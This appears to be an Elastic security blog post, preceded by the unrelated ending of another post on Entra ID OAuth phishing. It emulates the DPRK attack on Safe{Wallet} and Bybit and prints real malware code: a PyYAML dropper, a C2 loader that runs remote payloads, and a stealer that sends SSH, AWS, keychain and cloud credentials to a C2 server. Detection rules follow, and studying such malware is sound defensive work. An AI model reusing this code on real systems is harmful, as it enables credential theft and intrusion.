Scopes and Consent Behavior: Requested scopes appear in the SCP or OAuth parameters captured in sign-in logs. Indicators of abuse include offline_access, .default, or broad scopes like Mail.ReadWrite. Consent telemetry can help pivot or correlate if the user approved a suspicious application.

Conclusion

Microsoft Entra ID’s OAuth implementation presents a double-edged sword: it enables powerful, seamless authentication experiences – but also exposes new opportunities for adversaries to exploit trust, session persistence and device registration attack paths.

By replicating the OAuth phishing techniques observed by Volexity, our team was able to validate how attackers abuse legitimate Microsoft applications, token flows, and open-source tools to gain stealthy access to sensitive data. We extended this work through hands-on emulation, diving deep into the mechanics of OAuth phishing and workflows, security token metadata and acquisition, helping surface behavioral indicators that defenders can detect.

Our findings reinforce a key point: OAuth abuse doesn’t rely on malware or code execution. It weaponizes identity, consent, and token reuse – making traditional security controls a challenge – and why log-based detection, correlation and behavioral analysis are so critical.

We hope the emulation artifacts, detection rules, and lessons shared here help defenders across the community better understand – and detect/hunt – this evolving class of cloud-based identity threats.

If you're using Elastic, we’ve open-sourced all the detection rules discussed in this blog to get you started. And if you're hunting in another SIEM, we encourage you to adapt the logic and adjust to your environment accordingly.

Identity is the new perimeter – and it’s time we treated it that way. Stay safe and happy hunting!

Detection Rules

• Microsoft Entra ID Session Reuse with Suspicious Graph Access
• Microsoft Entra ID OAuth Phishing via Visual Studio Code Client
• Suspicious Microsoft OAuth Flow via Auth Broker to DRS
• Suspicious ADRS Token Request by Microsoft Auth Broker
• Unusual Device Registration in Entra ID
• Entra ID RT to PRT Transition from Same User and Device
• Unusual Registered Device for User Principal

References:

• https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/
• https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
• https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
• https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
• https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens
• https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow
• https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc#the-default-scope

Key takeaways from this research:

• PyYAML was deserialization as initial access vector
• The attack leveraged session token abuse and AWS lateral movement
• Static site supply chain tampering
• Docker-based stealth on macOS
• End-to-end detection correlation with Elastic

Introduction

On February 21, 2025, the crypto world was shaken when approximately 400,000 ETH vanished from ByBit —one of the industry’s largest cryptocurrency exchanges. Behind this incredible theft is believed to be North Korea’s elite cyber-offensive unit, referred to as TraderTraitor. Exploiting a trusted vendor relationship with Safe{Wallet}, a multisig (multi-signature) wallet platform, TraderTraitor transformed a routine transaction into a billion-dollar heist. Supply chain targeting has become a hallmark of the DPRK’s cyber strategy, underpinning the regime’s theft of more than $6 billion in cryptocurrency since 2017. In this article we’ll dissect this attack, carefully emulate its tactics within a controlled environment, and provide practical lessons to reinforce cybersecurity defenses using Elastic’s product and features.

Our emulation of this threat is based on research released by Sygnia, Mandiant/SAFE, SlowMist, and Unit42.

Chronology of events

If you're here for the technical emulation details, feel free to skip ahead. But for context— and to clarify what was officially reported— we've compiled a high-level timeline of events to ground our assumptions based on the research referenced above.

February 2, 2025 – Infrastructure Setup

The attacker registers the domain getstockprice[.]com via Namecheap. This infrastructure is later used as the C2 endpoint in the initial access payload.

February 4, 2025 – Initial Compromise

Developer1’s macOS workstation is compromised after executing a malicious Python application. This application contained Docker-related logic and referenced the attacker’s domain. The file path (~/Downloads/) and malware behavior suggest social engineering (likely via Telegram or Discord, consistent with past REF7001 and UNC4899 tradecraft).

February 5, 2025 – AWS Intrusion Begins

Attacker successfully accesses Safe{Wallet}’s AWS environment using Developer1’s active AWS session tokens.Attacker attempts (unsuccessfully) to register their own virtual MFA device to Developer1’s IAM user, indicating a persistence attempt.

February 5–17: Reconnaissance activity begins within the AWS environment. During this time, attacker actions likely included the enumeration of IAM roles, S3 buckets, and other cloud assets.

February 17, 2025 – AWS Command and Control Activity

Confirmed C2 traffic observed in AWS. This marks the shift from passive reconnaissance to active staging of the attack.

February 19, 2025 – Web Application Tampering

A snapshot of app.safe.global (Safe{Wallet}’s statically hosted Next.js web app) captured by the Wayback Machine shows the presence of malicious JavaScript. The payload was crafted to detect a Bybit multisig transaction and modify it on-the-fly, redirecting funds to the attacker’s wallet.

February 21, 2025 – Execution and Cleanup

The exploit transaction is executed against Bybit via the compromised Safe{Wallet} frontend.

A new Wayback Machine snapshot confirms the JavaScript payload has been removed—indicating the attacker manually scrubbed it post-execution.

The Bybit heist transaction is finalized. Approximately 400,000 ETH is stolen. Subsequent analysis by Sygnia and others confirms that Bybit infrastructure was not directly compromised—Safe{Wallet} was the sole point of failure.

Assumptions for emulation

• Initial Social Engineering Vector: Social engineering was employed to compromise Developer1, resulting in the execution of a malicious Python script. The exact details of the social engineering tactic (such as specific messaging, impersonation techniques, or the communication platform used) remain unknown.
• Loader and Second-Stage Payload: The malicious Python script executed a second-stage loader. It is currently unclear whether this loader and subsequent payloads match those detailed in Unit42's reporting, despite alignment in the initial access Python application's characteristics.
• Safe Application Structure and Workflow: The compromised application (app.global.safe) appears to be a Next.js application hosted statically in AWS S3. However, specific details such as its exact routes, components, development processes, version control methods, and production deployment workflow are unknown.
• JavaScript Payload Deployment: While attackers injected malicious JavaScript into the Safe{Wallet} application, it is unclear whether this involved rebuilding and redeploying the entire application or merely overwriting/modifying a specific JavaScript file.
• AWS IAM and Identity Management Details: Details regarding Developer1’s IAM permissions, roles, and policy configurations within AWS are unknown. Additionally, whether Safe{Wallet} used AWS IAM Identity Center or alternative identity management solutions remains unclear.
• AWS Session Token Retrieval and Usage: While reports confirm the attackers used temporary AWS session tokens, details about how Developer1 originally retrieved these tokens (such as through AWS SSO, GetSessionToken, or specific MFA configurations) and how they were subsequently stored or utilized (e.g., environment variables, AWS config files, custom scripts) are unknown.
• AWS Enumeration and Exploitation Techniques: The exact tools, enumeration methodologies, AWS API calls, and specific actions carried out by attackers within the AWS environment between February 5 and February 17, 2025, remain undisclosed.
• AWS Persistence Mechanisms: Although there is an indication of potential persistence within AWS infrastructure (e.g., via EC2 instance compromise), explicit details including tools, tactics, or persistence methods are not provided.

Overview of the attack

Targeting companies within the crypto ecosystem is a common occurrence. DPRK continually targets these companies due to the relative anonymity and decentralized nature of cryptocurrency, enabling the regime to evade global financial sanctions. North Korea's offensive cyber groups excel at identifying and exploiting vulnerabilities, resulting in billions of dollars in losses.

This intrusion began with the targeted compromise of a developer's MacOS workstation at Safe{Wallet}, ByBit’s trusted multi-signature wallet provider. Initial access involved social engineering, likely approaching the developer via platforms like LinkedIn, Telegram, or Discord, based on previous campaigns, and convincing them to download an archive file containing a crypto-themed Python application—an initial access procedure favored by DPRK. This Python application also included a Dockerized version of the application that could be run inside a privileged container. Unknown to the developer, this seemingly benign application enabled DPRK operators to exploit a remote code execution (RCE) vulnerability in the PyYAML library, providing code execution capabilities and subsequently control over the host system.

After gaining initial access to the developer's machine, attackers deployed MythicC2's Poseidon agent, a robust Golang-based payload offering advanced stealth and extensive post-exploitation capabilities for macOS environments. The attackers then may have conducted reconnaissance, discovering the developer's access to Safe{Wallet}’s AWS environment and the usage of temporary AWS user session tokens secured via multi-factor authentication (MFA). Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe{Wallet}’s AWS environment within approximately 24 hours, capitalizing on the 12-hour validity of the session tokens.

Attempting to ensure persistent access to the AWS environment, the attackers tried to register their own MFA device. However, AWS temporary session tokens do not permit IAM API calls without MFA authentication context, causing this attempt to fail. Following this minor setback, the threat actor enumerated the AWS environment, eventually discovering an S3 bucket hosting Safe{Wallet}'s static Next.js user interface.

The attackers could then have downloaded this Next.js application’s bundled code, spending nearly two weeks analyzing its functionality before injecting malicious JavaScript into the primary JS file and overwriting the legitimate version hosted in the S3 bucket. The malicious JavaScript code was activated exclusively on transactions initiated from Bybit’s cold wallet address and an attacker-controlled address. By inserting hardcoded parameters, the script circumvented transaction validation checks and digital signature verifications, effectively deceiving ByBit wallet approvers who implicitly trusted the Safe{Wallet} interface.

Shortly thereafter, the DPRK initiated a fraudulent transaction, triggering the malicious script to alter transaction details. This manipulation, likely, contributed to misleading the wallet signers into approving the illicit transfer, thereby granting DPRK operatives control of approximately 400,000 ETH. These stolen funds were then laundered into attacker-controlled wallets.

We chose to end our research and behavior emulation at the compromise of the Next.js application. Thus, we do not dive into the blockchain technologies, such as ETH smart contracts, contract addresses, and sweep ETH calls discussed in several other research publications.

Emulating the attack

To truly understand this breach we decided to emulate the entire attack chain in a controlled lab environment. As security researchers at Elastic, we wanted to walk in the footsteps of the attacker to understand how this operation unfolded at each stage: from code execution to AWS session hijacking and browser-based transaction manipulation.

This hands-on emulation served a dual purpose. First, it allowed us to analyze the attack at a granular, technical level to uncover practical detection and prevention opportunities. Second, it gave us the chance to test Elastic’s capabilities end-to-end—to see whether our platform could not only detect each phase of the attack, but also correlate them into a cohesive narrative that defenders could act on.

MacOS endpoint compromise

Thanks to Unit42’s detailed write-up—and more critically, uploading recovered samples to VirusTotal—we were able to emulate the attack end-to-end using the actual payloads observed in the wild. This included:

• PyYAML deserialization payload
• Python loader script
• Python stealer script

Malicious Python Application

The initial access Python application we used in our emulation aligns with samples highlighted and shared by SlowMist and corroborated by Mandiant's incident response findings from the SAFE developer compromise. This application also matched the directory structure of the application shown by Unit42 in their write-up. Attackers forked a legitimate stock-trading Python project from GitHub and backdoored it within a Python script named data_fetcher.py.

The application leverages Streamlit to execute app.py, which imports the script data_fetcher.py.

The data_fetcher.py script includes malicious functionality designed to reach out to an attacker-controlled domain.

The script, by default, fetches valid stock market-related data. However, based on specific conditions, the attacker-controlled server can return a malicious YAML payload instead. When evaluated using PyYAML’s unsafe loader (yaml.load()), this payload allows for arbitrary Python object deserialization, resulting in RCE.

PyYAML Deserialization Payload

(VT Hash: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)

We recreated this malicious setup by hosting the YAML deserialization payload on a Python+Flask web application, using PythonAnywhere to mimic attacker infrastructure. We updated the malicious URL in the data_fetcher.py script to point to our PythonAnywhere-hosted YAML payload.

When PyYAML loads and executes the malicious YAML payload, it performs the following actions:

First, it creates a directory named Public in the victim’s home directory.

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

Next, it decodes and writes a base64-encoded Python loader script into a new file named __init__.py within the Public directory.

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
    f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

Finally, it executes the newly created __init__.py script silently in the background, initiating the second stage of the attack.

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

Python Loader Script

(VT Hash: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)

To avoid leaving forensic evidence, the loader first deletes its file (__init__.py) after execution, leaving it running in memory only.

directory = os.path.join(home_directory, "Public")

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

This loader’s primary goal is to establish continuous communication with the Command-and-Control (C2) server. It gathers basic system information—like OS type, architecture, and system version—and sends these details to the C2 via an HTTP POST request to the hardcoded /club/fb/status URL endpoint.

params = {
        "system": platform.system(),
        "machine": platform.machine(),
        "version": platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)

Based on the server’s response (ret value), the loader decides its next steps.

ret == 0:

The script sleeps for 20 seconds and continues polling.

if res['ret'] == 0:
    time.sleep(20)
    continue

ret == 1:

The server response includes a payload in Base64. The script decodes this payload, and writes it to a file—named init.dll if on Windows or init otherwise—and then dynamically loads the library using ctypes.cdll.LoadLibrary, which causes the payload to run as a native binary.

elif res['ret'] == 1:
    if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
    else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb") as f:
            binData = base64.b64decode(res["content"])
            f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)

ret == 2:

The script decodes the Base64 content into Python source code and then executes it using Python’s exec() function. This allows for running arbitrary Python code.

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)

ret == 3:

The script decodes a binary payload (dockerd) and a binary configuration file (docker-init) into two separate files, sets their permissions to be executable, and then attempts to run them as a new process, supplying the config file as an argument to the binary payload. After execution of the binary payload, it deletes its executable file, leaving the config file on disk for reference.

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb") as f:
        binData = base64.b64decode(res["content"])
        f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb") as f:
        binData = base64.b64decode(res["param"])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)

ret == 9:

The script breaks out of its polling loop, terminating further actions.

elif res['ret'] == 9:
    break

After processing any command, the script continues to poll for further instructions from the C2 server.

Python Loader Emulation

Our goal was to test each of the command options within the loader to better understand what was happening, collect relevant telemetry data, and analyze it for the purpose of building robust detections for both our endpoint and the SIEM.

Ret == 1: Write Library to Disk, Load and Delete Dylib

The payload we used for this option was a Poseidon payload compiled as a shared library (.dylib).

We then base64-encoded the binary and were able to hardcode the path to that base64-encoded payload in our C2 server to be served when testing this specific loader command.

base64 poseidon.dylib > poseidon.b64

BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

Once we received our Poseidon payload callback to our Mythic C2 we were able to retrieve credentials using a variety of different methods provided by Poseidon.

Option 1: download command - Access file, reads content, sends data back to C2.
Option 2: getenv command - Read user environment variables and send content back to C2.
Option 3: jsimport & jsimport_call commands - Import JXA script into memory then call a method within the JXA script to retrieve credentials from file and return contents.

Ret == 2: Receive and Execute arbitrary Python code within Process Memory

(VT Hash: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)

The loader script allows for the running of arbitrary Python code or scripts, in memory. In Unit42’s blog they provided a Python script they observed the DPRK executing via this return value. This script collects a vast amount of data. This data is XOR encoded and sent back to the C2 server via a POST request. For the emulation all that was needed was to add our C2 URL with the appropriate route as defined in our C2 server and base64 encode the script hardcoding its path within our server for when this option was tested.

def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break

Ret == 3: Write Binary Payload and Binary Config to Disk, Execute Payload and Delete File

For ret == 3 we used a standard Poseidon binary payload and a “configuration file” containing binary data as specified in the loader script. We then base64 encoded both the binary and config file like the ret == 1 option above and hardcoded their paths in our C2 server for serving when testing this command. Same as the ret == 1 option above we were able to use those same commands to collect credentials from the target system.

C2 Infrastructure

We created a very simple and small C2 server, built with Python+Flask, intended to listen with a specified port on our Kali Linux VM and evaluate incoming requests, responding appropriately based on the route and return value we wished to test.

We also used the open source Mythic C2 in order to facilitate the creation and management of the Poseidon payloads we used. Mythic is an open source C2 framework created and maintained by Cody Thomas at SpecterOps.

Malicious Python Application: Docker Version

We also explored a Dockerized variant of the malicious Python application. This version was packaged in a minimal Python Docker container (python:3.12.2-slim) running in privileged mode, granting it the ability to access host resources.

A containerized application creates a telemetry and detection blind spot on macOS because Apple's Endpoint Security Framework (ESF) lacks the ability to introspect containerized processes. While ESF and endpoint detection solutions can still observe the trusted Docker process accessing sensitive host files—such as SSH keys, AWS credentials, or user configuration data—these actions commonly align with standard developer workflows. As a result, security tools are less likely to scrutinize or trigger alerts on containerized activities, offering attackers increased stealth when operating from within Docker environments.

This highlights the necessity for additional monitoring like OSQuery and Docker log file collection to complement standard macOS endpoint defenses. Elastic offers both OSQuery and Docker log file collection via our data integrations for Elastic Agent alongside our Endpoint protection features.

MacOS Emulation Conclusion

Our emulation recreated the attack against the SAFE developers’ macOS system end-to-end using the real world payloads.

Malicious Python App:

We began by replicating the malicious Python application described in both Mandiant’s findings and Unit42’s report. The attackers had forked a legitimate open-source application and embedded RCE access within data_fetcher.py. This script made outbound requests to an attacker-controlled server and conditionally fetched a malicious YAML file. Using PyYAML’s yaml.load() with an unsafe loader, the attacker triggered arbitrary code execution via deserialization.

PyYAML Payload Deserialization resulting in Python Loader Script Execution:

The YAML payload wrote a base64-encoded second-stage loader to ~/Public/__init__.py and executed it in a detached process. We mimicked this exact flow using a Flask-based staging server hosted on PythonAnywhere.

Python Loader Execution & C2 Interaction:

Once launched, the loader deleted its on disk file and beaconed to our emulated C2, awaited tasking. Based on the C2’s response code (ret), we tested the following actions:

• ret == 1: The loader decoded a Poseidon payload (compiled as a .dylib) and executed it using ctypes.cdll.LoadLibrary(), resulting in native code execution from disk.
• ret == 2: The loader executed an in-memory Python stealer, matching the script shared by Unit42. This script collected system, user, browser, and credential data and exfiltrated it via XOR-encoded POST requests.
• ret == 3: The loader wrote a Poseidon binary and a separate binary configuration file to disk, executed the binary with the config as an argument, then deleted the payload.
• ret == 9: The loader terminated its polling loop.

Data Collection: Pre-Pivot Recon & Credential Access:

During our ret == 2 test, the Python stealer gathered:

• macOS system information (platform, os, user)
• Chrome user data (Bookmarks, Cookies, Login Data, etc.)
• SSH private keys (~/.ssh)
• AWS credentials (~/.aws/credentials)
• macOS Keychain files (login.keychain-db)
• GCP/Kube config files from .config/

This emulates the pre-pivot data collection that preceded cloud exploitation, and reflects how DPRK actors harvested AWS credentials from the developer’s local environment.

With valid AWS credentials, the threat actors then pivoted into the cloud environment, launching the second phase of this intrusion.

AWS cloud compromise

Pre-requisities and Setup

To emulate the AWS stage of this attack, we first leveraged Terraform to stand up the necessary infrastructure. This included creating an IAM user (developer) with an overly permissive IAM policy granting access to S3, IAM, and STS APIs. We then pushed a locally built Next.js application to an S3 bucket and confirmed the site was live, simulating a simple Safe{Wallet} frontend.

Our choice of Next.js was predicated on the original S3 bucket static site path - https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

Before injecting any malicious code, we verified the integrity of the site by performing a test transaction using a known target wallet address to ensure the application responded as expected.

Temporary Session Token Retrieval

Following the initial access and post-compromise activity on the developer’s macOS workstation, early assumptions focused on the adversary retrieving credentials from default AWS configuration locations - such as ~/.aws or from user environment variables. It was later confirmed by Unit42’s blog that the Python stealer script targeted AWS files. These locations often store long-term IAM credentials or temporary session tokens used in standard development workflows. Based on public reporting, however, this specific compromise involved AWS user session tokens, not long-term IAM credentials. In our emulation, as the developer we added our virtual MFA device to our IAM user, enabled it and then retrieved our user session token and exported the credentials to our environment. Note that on our Kali Linux endpoint, we leveraged ExpressVPN - as done by the adversaries - for any AWS API calls or interactions with the developer box.

It is suspected that the developer obtained temporary AWS credentials either by the GetSessionToken API operation or by logging in via AWS Single Sign-On (SSO) using the AWS CLI. Both methods result in short-lived credentials being cached locally and usable for CLI or SDK-based interactions. These temporary credentials were then likely cached in the ~/.aws files or exported as environment variables on the macOS system.

In the GetSessionToken scenario, the developer would have executed a command as such:

aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile "$AWS_PROFILE" --output json

In the SSO-based authentication scenario, the developer may have run:

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

Either method results in temporary credentials (access key, secret and session token) being saved in ~/.aws files and made available to the configured AWS profile. These credentials are then used automatically by tools like the AWS CLI or SDKs like Boto3 unless overridden. In either case, if malware or an adversary had access to the developer’s macOS system, these credentials could have been easily harvested from the environment variables, AWS config cache or credentials file.

To obtain these credentials for Developer1 were created a custom script for quick automation. It created a virtual MFA device in AWS, registered the device with our Developer1 user, then called GetSessionToken from STS - adding the returned temporary user session credentials to our macOS endpoint as environment variables as shown below.

MFA Device Registration Attempts

One key assumption here is that the developer was working with a user session that had MFA enabled, either for direct use or to assume a custom-managed IAM role. Our assumption derives from the credential material compromised - AWS temporary user session tokens, which are not obtained from the console but rather requested on demand from STS. Temporary credentials returned from GetSessionToken or SSO by default expire after a certain number of hours, and a session token with the ASIA* prefix would suggest that the adversary harvested a short-lived but high-impact credential. This aligns with behaviors seen in previous DPRK-attributed attacks where credentials and configurations for Kubernetes, GCP, and AWS were extracted and reused.

Assuming the Compromised Identity on Kali

Once the AWS session token was collected, the adversary likely stored it on their Kali Linux system either in the standard AWS credential locations (e.g., ~/.aws/credentials or as environment variables) or potentially in a custom file structure, depending on tooling in use. While the AWS CLI defaults to reading from ~/.aws/credentials and environment variables, a Python script leveraging Boto3 could be configured to source credentials from nearly any file or path. Given the speed and precision of the post-compromise activity, it is plausible that the attacker used either the AWS CLI, direct Boto3 SDK calls, or shell scripts wrapping CLI commands - all of which offer convenience and built-in request signing.

What seems less likely is that the attacker manually signed AWS API requests using SigV4, as this would be unnecessarily slow and operationally complex. It’s also important to note that no public blog has disclosed which user agent string was associated with the session token usage (e.g. aws-cli, botocore, etc.), which leaves uncertainty around the attacker’s exact tools. That said, given DRPK’s established reliance on Python and the speed of the attack, CLI or SDK usage remains the most reasonable assumption.

Note: We did this in emulation with our Poseidon payload prior to Unit 42’s blog about the RN Loader capabilities.

It’s important to clarify a nuance about the AWS authentication model: using a session token does not inherently block access to IAM API actions - even actions like CreateVirtualMFADevice - as long as the session was initially established with MFA. In our emulation, we attempted to replicate this behavior using a stolen session token that had MFA context. Interestingly, our attempts to register an additional MFA device failed, suggesting that there may be additional safeguards, such as explicit policy constraints, that prevent MFA registration via session tokens or the details of this behavior are still too vague and we incorrectly mimicked the behavior. While the exact failure reason remains unclear, this behavior warrants deeper investigation into the IAM policies and authentication context associated with session-bound actions.

S3 Asset Enumeration

After credential acquisition, the attacker likely enumerated accessible AWS services. In this case, Amazon S3 was a clear target. The attacker would have listed buckets available to the compromised identity across all regions and located a public-facing bucket associated with Safe{Wallet}, which hosted the frontend Next.js application for transaction processing.

We assume the attacker was aware of the S3 bucket due to its role in serving content for app.safe[.]global, meaning the bucket's structure and assets could be publicly browsed or downloaded without authentication. In our emulation, we validated similar behavior by syncing assets from a public S3 bucket used for static site hosting.

Next.js App Overwrite with Malicious Code

After discovering the bucket, the attacker likely used the aws s3 sync command to download the entire contents, which included the bundled frontend JavaScript assets. Between February 5 and February 19, 2025, they appeared to focus on modifying these assets - specifically, files like main.<HASH>.js and related routes, which are output by Next.js during its build process and stored under the _next/static/chunks/pages/ directory. These bundled files contain the transpiled application logic, and according to Sygnia's forensic report, a file named _app-52c9031bfa03da47.js was the primary injection point for the malicious code.

Next.js applications, when built, typically store their statically generated assets under the next/static/ directory, with JavaScript chunks organized into folders like /chunks/pages/. In this case, the adversary likely formatted and deobfuscated the JavaScript bundle to understand its structure, then reverse engineered the application logic. After identifying the code responsible for handling user-entered wallet addresses, they injected their payload. This payload introduced conditional logic: if the entered wallet address matched one of several known target addresses, it would silently replace the destination with a DPRK-controlled address, redirecting funds without the user becoming aware.

In our emulation, we replicated this behavior by modifying the TransactionForm.js component to check if the entered recipient address matched specific values. If so, the address was replaced with an attacker-controlled wallet. While this does not reflect the complexity of actual smart contract manipulation or delegate calls used in the real-world attack, it serves as conceptual behavior to illustrate how a compromised frontend could silently redirect cryptocurrency transactions.

Static Site Tampering Implications and Missing Security Controls

This type of frontend tampering is especially dangerous in Web3 environments, where decentralized applications (dApps) often rely on static, client-side logic to process transactions. By modifying the JavaScript bundle served from the S3 bucket, the attacker was able to subvert the application’s behavior without needing to breach backend APIs or smart contract logic.

We assume that protections such as S3 Object Lock, Content-Security-Policy (CSP), or Subresource Integrity (SRI) headers were either not in use or not enforced during the time of compromise. The absence of these controls would have allowed an attacker to modify static frontend code without triggering browser or backend integrity validation, making such tampering significantly easier to carry out undetected.

Lessons in defense

A successful emulation—or real-world incident response—doesn’t end with identifying attacker behaviors. It continues with reinforcing defenses to prevent similar techniques from succeeding again. Below, we outline key detections, security controls, mitigation strategies, and Elastic features that can help reduce risk and limit exposure to the tactics used in this emulation and in-the-wild (ItW) campaigns like the Safe{Wallet} compromise.

Note: These detections are actively maintained and regularly tuned, and may evolve over time. Depending on your environment, additional tuning may be required to minimize false positives and reduce noise.

Elastic’s SIEM detection and endpoint prevention rules

Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.

Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.

MacOS Endpoint Behavior Prevention Rules

Python PyYAML Deserialization Payload

Rule Name: “Python Script Drop and Execute”: Detects when a Python script gets created or modified followed immediately by the execution of that script by the same Python process.

Python Loader Script

Rule Name: “Self-Deleting Python Script”: Detects when a Python script executes and that script file is immediately deleted by the same Python process.

Rule Name: “Self-Deleted Python Script Outbound Connection”: Detects when a Python script gets deleted and an outbound network connection occurs shortly after by the same Python process.

Python Loader Script Ret == 1

Rule Name: “Suspicious Executable File Creation via Python”: Detects when an executable file gets created or modified by Python in suspicious or unusual directories.

Rule Name: “Python Library Load and Delete”: Detects when a shared library, located within the users home directory, gets loaded by Python followed by the deletion of the library shortly after by the same Python process.

Rule Name: “Unusual Library Load via Python”: Detects when a shared library gets loaded by Python that does not denote itself as a .dylib or .so file and is located within the users home directory.

Rule Name: “In-Memory JXA Execution via ScriptingAdditions”: Detects the in-memory load and execution of a JXA script.

Python Loader Script Ret == 2

Rule Name: “Potential Python Stealer”: Detects when a Python script gets executed followed shortly after by at least three attempts to access sensitive files by the same Python process.

Rule Name: “Self-Deleted Python Script Accessing Sensitive Files”: Detects when a Python script gets deleted and sensitive files are accessed shortly after by the same Python process.

Python Loader Script Ret == 3

Rule Name: “Unsigned or Untrusted Binary Execution via Python”: Detects when an unsigned or untrusted binary gets executed by Python where the executable is located within a suspicious directory.

Rule Name: “Unsigned or Untrusted Binary Fork via Python”: Detects when an unsigned or untrusted binary gets fork exec’d by Python where the process argument is the path to a file within the users home directory.

Rule Name: “Cloud Credential Files Accessed by Process in Suspicious Directory”: Detects when cloud credentials are accessed by a process running from a suspicious directory.

SIEM Detections for AWS CloudTrail Logs

Rule Name: “STS Temporary IAM Session Token Used from Multiple Addresses”: Detects AWS IAM session tokens (e.g. ASIA*) being used from multiple source IP addresses in a short timeframe, which may indicate credential theft and reuse from adversary infrastructure.

Rule Name: “IAM Attempt to Register Virtual MFA Device with Temporary Credentials”: Detects attempts to call CreateVirtualMFADevice or EnableMFADevice with AWS session tokens. This may reflect an attempt to establish persistent access using hijacked short-term credentials.

Rule Name: “API Calls to IAM via Temporary Session Tokens”: Detects use of sensitive iam.amazonaws.com API operations by a principal using temporary credentials (e.g. session tokens with ASIA* prefix). These operations typically require MFA or should only be performed via the AWS console or federated users. Not CLI or automation tokens.

Rule Name: “S3 Static Site JavaScript File Uploaded via PutObject”: Identifies attempts by IAM users to upload or modify JavaScript files in the static/js/ directory of an S3 bucket, which can signal frontend tampering (e.g. injection of malicious code)

Rule Name: “AWS CLI with Kali Linux Fingerprint Identified”: Detects AWS API calls made from a system using Kali Linux, as indicated by the user_agent.original string. This may reflect attacker infrastructure or unauthorized access from red team tooling.

Rule Name: “S3 Excessive or Suspicious GetObject Events”: Detects a high volume of S3 GetObject actions by the same IAM user or session within a short time window. This may indicate S3 data exfiltration using tools like AWS CLI command sync - particularly targeting static site files or frontend bundles. Note, this is a hunting query and should be adjusted accordingly.

SIEM Detections for Docker Abuse

Rule Name: “Sensitive File Access via Docker”: Detects when Docker accesses sensitive host files (“ssh”, “aws”, “gcloud”, “azure”, “web browser”, “crypto wallet files”).

Rule Name: “Suspicious Executable File Modification via Docker”: Detects when Docker creates or modifies an executable file within a suspicious or unusual directory.

If your macOS agent policy includes the Docker data integration, you can collect valuable telemetry that helps surface malicious container activity on user systems. In our emulation, this integration allowed us to ingest Docker logs (into the metrics index), which we then used to build a detection rule capable of identifying indicators of compromise and suspicious container executions associated with the malicious application.

Mitigations

Social Engineering

